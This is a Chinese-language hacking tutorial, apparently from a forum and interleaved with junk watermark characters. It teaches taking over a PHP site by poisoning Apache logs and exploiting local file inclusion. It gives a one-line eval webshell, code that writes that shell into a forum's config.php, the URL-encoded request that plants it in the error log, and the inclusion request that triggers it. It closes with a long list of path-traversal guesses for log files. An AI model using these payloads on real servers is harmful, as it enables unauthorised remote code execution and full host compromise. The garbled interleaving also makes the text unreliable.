因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 ' g. r# S7 C2 k' n9 u4 e. W7 U9 h
r. Z- R# U6 p. r2 A比如还是这句一句话木马
$ J8 A+ W" o7 y [/ G1 T: Y0 D<?eval($_POST[cmd]);?>
/ ?; w- Y' P9 e" l1 _
3 \6 R' d6 |/ c4 Z f; T+ x到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
# ^7 l, v9 k9 ~& cfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
% ^9 ~7 |- P) T3 g' l! B5 i3 D% f
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
# m' H9 I/ U! ^3 i+ `, w" }fclose($fp);?> //在config.php里写入一句木马语句 ; l. t7 z$ |/ w! m" r
p; P/ A9 W+ d, \& |4 r$ s我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
7 _9 A" p. i6 Y4 q. v, g5 h转换为
0 [7 V7 [. M5 i2 `3 u* |%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F & y$ V: P$ e' T: i: ]0 r
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp ( i+ N6 p( N. [* q* i% T6 ^
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
, p2 g( N8 q1 v, J4 xfclose%28%24fp%29%3B%3F%3E
3 b* B' E6 [! X1 ^0 l我们提交
/ o8 m; d, i# j5 [$ D- whttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
- `$ f! z, j/ q; N2 ]%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp 9 T8 P* I( C3 Z- L
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B 2 j) U8 {1 y4 S$ s
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
* ]9 g/ k2 ?& t+ U2 m' o) [9 P$ k
这样就错误日志里就记录下了这行写入webshell的代码。
+ J2 {% K8 H! r- R m我们再来包含日志,提交 / L4 k9 @7 W* `$ H4 R
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
( ]+ K9 d4 a$ O) N6 i- K c, x# B" u8 c
这样webshell就写入成功了,config.php里就写入一句木马语句
6 N5 \4 V1 \7 o POK. ( k$ C7 d/ \5 J
http://www.xxx.com/forum/config.php这个就成了我们的webshell
" ?1 F: R, w1 t9 }. u) e3 p7 ~直接用lanker的客户端一连,主机就是你的了。
+ B) Y. _8 W8 x# J* g O; l3 N7 n" f* @- Y/ }0 }- ^, ^5 g
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 \/ S8 w( s& P; Y4 W
5 w% z7 e4 R6 _! I; Z& u
其他的日志路径,你可以去猜,也可以参照这里。
) i+ N" @' {+ H$ d# O../../../../../../../../../../var/log/httpd/access_log
8 u: K1 [, Y4 T5 @../../../../../../../../../../var/log/httpd/error_log
7 Q k' i, ?9 `2 M& Q/ S: y../apache/logs/error.log " C: h9 t8 M" ~! ~4 {- N0 [ h
../apache/logs/access.log
8 i+ N4 ]0 T7 D/ \5 b../../apache/logs/error.log % A; z9 @( V" {5 ?! s, [
../../apache/logs/access.log
9 e2 N0 A2 D! h0 f+ V../../../apache/logs/error.log 7 t" n; ]" s! ?
../../../apache/logs/access.log
) q3 H+ Y$ w2 f- i: U8 W../../../../../../../../../../etc/httpd/logs/acces_log
, I+ v3 n* S3 C9 F" {+ K' [../../../../../../../../../../etc/httpd/logs/acces.log , t, M7 Q! r. W# Q$ v' E
../../../../../../../../../../etc/httpd/logs/error_log , ^9 |' j3 z* ~1 B/ U
../../../../../../../../../../etc/httpd/logs/error.log
0 h- R9 t. L; N Q9 N2 ]# r../../../../../../../../../../var/www/logs/access_log
' r: I* t6 f5 q../../../../../../../../../../var/www/logs/access.log # j8 C/ s) Y! i! }
../../../../../../../../../../usr/local/apache/logs/access_log 6 F2 o( d2 I9 V* i& i
../../../../../../../../../../usr/local/apache/logs/access.log
5 |/ I+ q2 ~; F; L s/ e' j6 [5 x../../../../../../../../../../var/log/apache/access_log 3 g( _' O+ N* a2 ~! z
../../../../../../../../../../var/log/apache/access.log
' Q9 M# ] i; i4 |* U2 h$ o../../../../../../../../../../var/log/access_log & g( h" m& s* P( C2 z n' ~
../../../../../../../../../../var/www/logs/error_log
+ I) K o* f) h9 X f! `- B" ?% W../../../../../../../../../../var/www/logs/error.log
0 _7 V+ H8 f& L& D% O- e../../../../../../../../../../usr/local/apache/logs/error_log
( ?" H e1 X" g; j( S7 ?! ]+ _ Y6 w+ C../../../../../../../../../../usr/local/apache/logs/error.log
2 Q4 F( h; ?$ D' y../../../../../../../../../../var/log/apache/error_log : M# w c2 q; Z X6 a
../../../../../../../../../../var/log/apache/error.log
! }0 D5 f2 ]8 U2 `../../../../../../../../../../var/log/access_log 8 C$ u# Z8 c u; u0 {+ S
../../../../../../../../../../var/log/error_log - g1 G9 ^: A8 z6 I4 |- p
/var/log/httpd/access_log
: ?, s5 x, Q# p1 ^+ ~) p2 Q3 q1 }0 E/var/log/httpd/error_log - A% R6 g) E# M" u' m8 U |
../apache/logs/error.log
( G0 M/ @9 A6 Z% D6 Y) t9 `1 T../apache/logs/access.log 9 G( I2 B4 M- a3 ^; W9 Q1 ~/ r {; J
../../apache/logs/error.log * q) L1 m6 e ~, r
../../apache/logs/access.log 0 N3 y. m# J5 i: t8 X5 B
../../../apache/logs/error.log
- U$ v/ J6 D/ C2 ^) d../../../apache/logs/access.log 1 H! P9 |' [: ?# p8 k
/etc/httpd/logs/acces_log + \8 F* h, r# T/ c6 p, G
/etc/httpd/logs/acces.log ( T" Z) I6 ]8 }6 v1 p
/etc/httpd/logs/error_log
( D8 Q% y: e2 {0 a/ F/etc/httpd/logs/error.log ' e2 x3 S; o+ x' i5 e
/var/www/logs/access_log Y5 T$ E+ n+ L& [) R& T) R" k
/var/www/logs/access.log ^) a3 B' V; E0 u) M% j1 `9 a
/usr/local/apache/logs/access_log 9 X. `9 [3 e( V/ Z" Q8 \
/usr/local/apache/logs/access.log
" o ~5 N; Q2 ?$ q/var/log/apache/access_log
0 n- B0 J. m0 D/var/log/apache/access.log
9 j, @* G1 M& `/ d1 g' e6 Y/var/log/access_log 6 Q2 X: x1 K4 V$ O# Z7 ]0 l
/var/www/logs/error_log . V" I- d7 c! h: i) x6 g
/var/www/logs/error.log
, r2 z- S# ]. n+ F2 o/usr/local/apache/logs/error_log
$ x- M/ e( \: z, ?& ]3 [/usr/local/apache/logs/error.log
- p4 @* H F. o0 y0 L1 P- a0 L/var/log/apache/error_log # g: C& F8 N' o
/var/log/apache/error.log 0 Y) O; n F8 v# B$ E) t7 E
/var/log/access_log / W+ y @6 J' ], E) h& N
/var/log/error_log |